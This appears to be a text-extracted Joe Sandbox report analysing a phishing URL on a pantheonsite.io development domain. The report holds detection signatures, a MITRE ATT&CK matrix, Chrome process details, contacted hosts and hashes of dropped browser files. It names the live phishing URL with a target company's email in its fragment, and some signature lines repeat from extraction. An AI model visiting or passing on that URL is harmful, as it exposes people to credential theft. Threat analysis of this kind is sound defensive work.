
ID: 528703
Cookbook: browseurl.jbs
Time: 17:26:46
Date: 25/11/2021
Version: 34.0.0 Boulder Opal
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Windows Analysis Report https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html#info@axactor.fi…

Overview

General Information

Sample URL: https://dev-ce563d81
711943.pantheonsite.io/$!
&&br.d.g$&!&.html#info@a
xactor.fi

Analysis ID: 528703

Infos:

Most interesting Screenshot:

Detection

HTMLPhisherHTMLPhisher

Score: 80

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for subAntivirus / Scanner detection for sub……

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10

Yara detected HtmlPhish10Yara detected HtmlPhish10

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

URL contains potential PII (phishing

URL contains potential PII (phishing

URL contains potential PII (phishing

URL contains potential PII (phishing

URL contains potential PII (phishing

URL contains potential PII (phishing

URL contains potential PII (phishingURL contains potential PII (phishing……

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of 

HTML body contains low number of HTML body contains low number of ……

No HTML title found

No HTML title found

No HTML title found

No HTML title found

No HTML title found

No HTML title found

No HTML title foundNo HTML title found

Classification

Malware Configuration

Yara Overview

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

chrome.exe (PID: 6892 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "https://dev-ce563d81711943.pantheonsite.io/$!&

&br.d.g$&!&.html#info@axactor.fi MD5: C139654B5C1438A95B321BB01AD63EF6)
chrome.exe (PID: 7144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=

1516,4420456876074646514,13506022257163107156,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1
920 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

No configs have been found

No yara matches

Process Tree
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AV Detection:

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Phishing:

Yara detected HtmlPhish10

Mitre Att&ck Matrix
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Command
and
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Process
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System
Service
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Remote
Services

Data from
Local
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Over Other
Network
Medium

Encrypted
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Eavesdrop on
Insecure
Network
Communication

Remotely
Track Device
Without
Authorization

Modify
System
Partition

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or
Logon
Initialization
Scripts

Process
Injection 1

LSASS
Memory

Application
Window
Discovery

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Redirect Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorization

Device
Lockout

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon
Script
(Windows)

Obfuscated Files
or Information

Security
Account
Manager

Query
Registry

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Application
Layer
Protocol 4

Exploit SS7 to
Track Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon
Script
(Mac)

Binary Padding NTDS System
Network
Configuration
Discovery

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Ingress
Tool
Transfer 1

SIM Card
Swap

Carrier
Billing
Fraud

Behavior Graph
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Behavior Graph
ID: 528703

URL: https://dev-ce563d81711943....

Startdate: 25/11/2021

Architecture: WINDOWS

Score: 80

fe253.edge.pantheon.io dev-ce563d81711943.pantheonsite.io

Multi AV Scanner detection
for domain / URL

Antivirus detection
for URL or domain

Antivirus / Scanner
detection for submitted

sample
2 other signatures

chrome.exe

16 439

        started       

192.168.2.1

unknown

unknown

239.255.255.250

unknown

Reserved

C:\...\pnacl_public_x86_64_pnacl_sz_nexe, ELF

dropped

C:\...\pnacl_public_x86_64_pnacl_llc_nexe, ELF

dropped

C:\Users\user\...\pnacl_public_x86_64_ld_nexe, ELF

dropped

chrome.exe

18

        started       

clients.l.google.com

142.250.203.110, 443, 49787, 63118

GOOGLEUS

United States

googlehosted.l.googleusercontent.com

142.250.203.97, 443, 49804

GOOGLEUS

United States

10 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html#info@axactor.fi 9% Virustotal Browse

https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html#info@axactor.fi 100% Avira URL Cloud phishing

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\6892_360429674\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6892_360429674\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\6892_360429674\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6892_360429674\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\6892_360429674\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6892_360429674\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% ReversingLabs

No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Copyright Joe Security LLC 2021 Page 6 of 214
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No Antivirus matches

Source Detection Scanner Label Link

https://dev-ce563d81711943.pantheonsite.io/$ 0% Avira URL Cloud safe

https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html 9% Virustotal Browse

https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html 100% Avira URL Cloud phishing

https://dev-ce563d81711943.pantheonsite.io/favicon.icoChIKBw2DqFs9GgAKBw3OQUx6GgA= 0% Avira URL Cloud safe

https://dev-ce563d81711943.pantheonsite.io/favicon.ico 0% Avira URL Cloud safe

https://csp.withgoogle.com/csp/report-to/hosted-libraries-pushers 0% URL Reputation safe

https://dns.google 0% URL Reputation safe

https://dev-ce563d81711943.pantheonsite.io/wp-json/ 0% Avira URL Cloud safe

https://dev-ce563d81711943.pantheonsite.io/wp-includes/images/w-logo-blue-white-bg.png 0% Avira URL Cloud safe

https://www.google.com; 0% Avira URL Cloud safe

https://dev-ce563d81711943.pantheonsite.io/wp-includes/images/w-logo-blue-white-bg.pngServer: 0% Avira URL Cloud safe

https://csp.withgoogle.com/csp/hosted-libraries-pushers 0% URL Reputation safe

https://csp.withgoogle.com/csp/hosted-libraries-pushersCross-Origin-Resource-Policy: 0% URL Reputation safe

https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external 0% URL Reputation safe

Name IP Active Malicious Antivirus Detection Reputation

stackpath.bootstrapcdn.com 104.18.11.207 true false high

accounts.google.com 172.217.168.45 true false high

maxcdn.bootstrapcdn.com 104.18.11.207 true false high

www.google.com 172.217.168.68 true false high

fe253.edge.pantheon.io 23.185.0.253 true false high

clients.l.google.com 142.250.203.110 true false high

googlehosted.l.googleusercontent.com 142.250.203.97 true false high

dev-ce563d81711943.pantheonsite.io unknown unknown false unknown

clients2.googleusercontent.com unknown unknown false high

clients2.google.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html true 9%, Virustotal, Browse
Avira URL Cloud: phishing

unknown

https://clients2.googleusercontent.com/crx/blobs/Acy1k0bLIjHsvnKaKN_oRpVaYYvFs25d7GK
YF1WXrT6yizCMksBO0c_ggE0B6tx6HPRHe6q1GOEe3_NcIbSiGG8kXeLMUY0sAKVvC6R89
zvKM13s5VqoAMZSmuUgjQL5vlygJuArQghXXE_qTL7NlQ/extension_8520_615_0_5.crx

false high

https://dev-ce563d81711943.pantheonsite.io/favicon.ico false Avira URL Cloud: safe unknown

https://www.google.com/s2/favicons?domain=axactor.fi false high

https://accounts.google.com/ListAccounts?
gpsia=1&source=ChromiumBrowser&json=standard

false high

https://dev-ce563d81711943.pantheonsite.io/wp-includes/images/w-logo-blue-white-
bg.png

false Avira URL Cloud: safe unknown

https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html#info@axactor.fi true unknown

https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js false high

https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css false high

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-
GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%2
6installedby%3Dother%26uc%26ping%3Dr%253D-
1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26inst
alledby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 528703

Start date: 25.11.2021

Start time: 17:26:46

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 5m 12s

Hypervisor based Inspection enabled: false

Report type: light

Cookbook file name: browseurl.jbs

Sample URL: https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html#info@axactor.fi

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

17

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal80.phis.win@34/260@8/10

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI

Warnings:

IP Domain Country Flag ASN ASN Name Malicious

142.250.203.110 clients.l.google.com United States 15169 GOOGLEUS false

104.18.11.207 stackpath.bootstrapcdn.co
m

United States 13335 CLOUDFLARENETUS false

172.217.168.68 www.google.com United States 15169 GOOGLEUS false

172.217.168.45 accounts.google.com United States 15169 GOOGLEUS false

142.250.203.97 googlehosted.l.googleuser
content.com

United States 15169 GOOGLEUS false

239.255.255.250 unknown Reserved unknown unknown false

23.185.0.253 fe253.edge.pantheon.io United States 54113 FASTLYUS false

IP

192.168.2.1

192.168.2.4

127.0.0.1

Contacted IPs

Public

Private

Show All

Simulations
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No simulations

No context

No context

No context

No context

No context

C:\Users\user\AppData\Local\Google\Chrome\User Data\1ace2dc3-04b2-4a64-906c-ad5e29e50449.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 187470

Entropy (8bit): 6.046932132013851

Encrypted: false

SSDEEP: 3072:ONKw3BEtMcrC1/EN2h2MTgfeDTwsFOcQeleGlFzFcbXafIB0u1GOJmA3iuRU:IyC1/E0Yo51leGlraqfIlUOoSiuRU

MD5: 997B96E1CBCB30F1692E82D53EE6C488

SHA1: BF5F43EA060866804F1C1DC3505A8A4C8145CC53

SHA-256: 46AEBB70E868DEC8F2B4D9B2094187FB4854ABB2BD6591905F77365C3ACFE362

SHA-512: 7F4B3FD9D427D344FB8872505246D262F245AA6DDA6321411EEDBC59D6127472978DB36E71AA9C2D10116199E971860F000E43EA5FF0B31134ED09D9CB80DE94

Malicious: false

Reputation: low

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.637857663150973e+12,"network":1.637857664e+12,"ticks":310585475.0,"uncertainty":2472027.0}},"origin_trials":{"disabled_f
eatures":["CaptureHandle"]},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAA
BBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFn
uCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL
4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245922715

C:\Users\user\AppData\Local\Google\Chrome\User Data\44c975cc-4f73-4b45-9d48-d6637cf80a93.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SysEx File -

Category: dropped

Size (bytes): 94708

Entropy (8bit): 3.7484856388133516

Encrypted: false

SSDEEP: 384:Fz0LLZOEBClZVawX2NXrUvDp3MbdEHNAG43ridzLxU9ZZ4ryvmKtep37vUOFlDNz:xaadNSx00cejfxtcPrOxKv5rZT

MD5: 76D368D9B6081E03B80BBACB5C142797

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files
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SHA1: 9405BFDCF3B80FDE0C3B99D7889914CEEE0A2596

SHA-256: 55E99C89621204E46AD77535B448B5E85413DC4FCF6F3443B9B81705FCC00701

SHA-512: 45120473E853E0ED85FDBB7EF2EAF25D177282B0ECC8715C5038E39161B50771A5F47A04215BFC4A5A3C2DD2C6EE6E17EB333FB87AE8ECC97890761F01F033D
9

Malicious: false

Reputation: low

Preview:
.q..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...@L8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\44c975cc-4f73-4b45-9d48-d6637cf80a93.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\59cb8c62-e3be-4b43-9649-41407f9497cd.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 195714

Entropy (8bit): 6.075093137969986

Encrypted: false

SSDEEP: 3072:Rbl9Kw3BEtMcrC1/EN2h2MTgfeDTwsFOcQeleGlFzFcbXafIB0u1GOJmA3iuRU:hjyC1/E0Yo51leGlraqfIlUOoSiuRU

MD5: BA5219B30377A4AE754C032B0D662AF3

SHA1: 156F24E76E4C694BFC8B1F075B55EA3D935156F9

SHA-256: E5A7E0EFCF7C27037BF4C0617CC9BBFD28B040A1FFDA0AFA8CEF9FAB9CE75E1D

SHA-512: AC0613DC42B17A345337BF51B00AAD0D8FD8DC69446ED6A7401629CD62477D0FBAD27B0733575E508C5F4A80CE9518F489E9BAE2D443B50F09286087AAC9B90
D

Malicious: false

Reputation: low

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.637857663150973e+12,"network":1.637857664e+12,"ticks":310585475.0,"uncertainty":2472027.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\752f4e6a-19b0-474a-a426-c3cc41dbeee1.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 92724

Entropy (8bit): 3.7480082088427524

Encrypted: false

SSDEEP: 384:Tz0LLZOENlKX2NXrUvDp3MbdEHNAG43ridzLxU9ZZ4ryvmKtep37vUOFlDNK1vW3:UadNSx00cejfxtcPrOxKv5rZZ

MD5: DE43D3BEF0466B8F9BC4B95B3C3B3ABF

SHA1: A81E2A79D16951AEE30B34AB83BD40FEEADC1FFF

SHA-256: C1698401D0F1C21F38A32C0B747EAC8A00DBB5A7081BD0A4ADE805469CB648FF

SHA-512: 17AF4E92D4552F91338DE0B3BE6CDB478D408A97575DFB9EDCB253640966E44A84DA2EAF8849CDA397730B6D1931D1EAFAD13175B17019E31762FFF6958FADD
9

Malicious: false

Reputation: low

Preview:
0j..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...@L8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\7693906c-a69b-4083-8a94-c6bb453ee084.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 187470

Entropy (8bit): 6.046932132013851

Encrypted: false

SSDEEP: 3072:ONKw3BEtMcrC1/EN2h2MTgfeDTwsFOcQeleGlFzFcbXafIB0u1GOJmA3iuRU:IyC1/E0Yo51leGlraqfIlUOoSiuRU

MD5: 997B96E1CBCB30F1692E82D53EE6C488

SHA1: BF5F43EA060866804F1C1DC3505A8A4C8145CC53
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SHA-256: 46AEBB70E868DEC8F2B4D9B2094187FB4854ABB2BD6591905F77365C3ACFE362

SHA-512: 7F4B3FD9D427D344FB8872505246D262F245AA6DDA6321411EEDBC59D6127472978DB36E71AA9C2D10116199E971860F000E43EA5FF0B31134ED09D9CB80DE94

Malicious: false

Reputation: low

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.637857663150973e+12,"network":1.637857664e+12,"ticks":310585475.0,"uncertainty":2472027.0}},"origin_trials":{"disabled_f
eatures":["CaptureHandle"]},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAA
BBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFn
uCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL
4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245922715

C:\Users\user\AppData\Local\Google\Chrome\User Data\7693906c-a69b-4083-8a94-c6bb453ee084.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\7f095af2-343d-46d7-8456-28a091ccf2fb.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 95428

Entropy (8bit): 3.7484816945602146

Encrypted: false

SSDEEP: 384:1z0LLZOEBClZVawX2NXrUvDp3MbdEHNAG43ridzLxU9ZZ4ryvmKOwep37vUOFlDv:BaadNSxE0cejfxtcPrOxKv5rZl

MD5: 9C2E59B0B7FAF2F25D8DA327B11A36C3

SHA1: E2495FF8FA116B5925E292E421AE0E3577774A2E

SHA-256: ADC922B25BFF92AEF8CA0416D61B3C5230F11F23327B225282117103BF0E79D1

SHA-512: 3BFC178E78AFFF1EB64783E6C1FE9E0A061988475FCE9E69DB7D610278BC52AF5206AB632A17BADCA236E40859BEC95B0126A9A71547DE82CB3CA43576984B1
0

Malicious: false

Reputation: low

Preview:
.t..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\....
...g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*
...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...@L8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\8f9f3406-f63e-4814-b13f-ecc04390e95d.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 187238

Entropy (8bit): 6.046238625880927

Encrypted: false

SSDEEP: 3072:gpKw3BEtMcrC1/EN2h2MTgfeDTwsFOcQeleGlFzFcbXafIB0u1GOJmA3iuRU:ayC1/E0Yo51leGlraqfIlUOoSiuRU

MD5: 7B5EF67CC54941F938FDA8B57574713C

SHA1: 537937BAE5B9AD960963ED7EBD09BA9B81718274

SHA-256: A1644979425BD5DCC68DDF1582BA0C9B2D662D59DEEE0C9C2885C5BB2752A149

SHA-512: 8348740DCF8A8053915DF0C760A5F317ACF61445ADEFF34FD85F473BC4A0299D37CF436AE8C5188D15C984931B4CE881FD415DE09ACF47CF2EDC2A8682BAA4D
E

Malicious: false

Reputation: low

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.637857663150973e+12,"network":1.637857664e+12,"ticks":310585475.0,"uncertainty":2472027.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
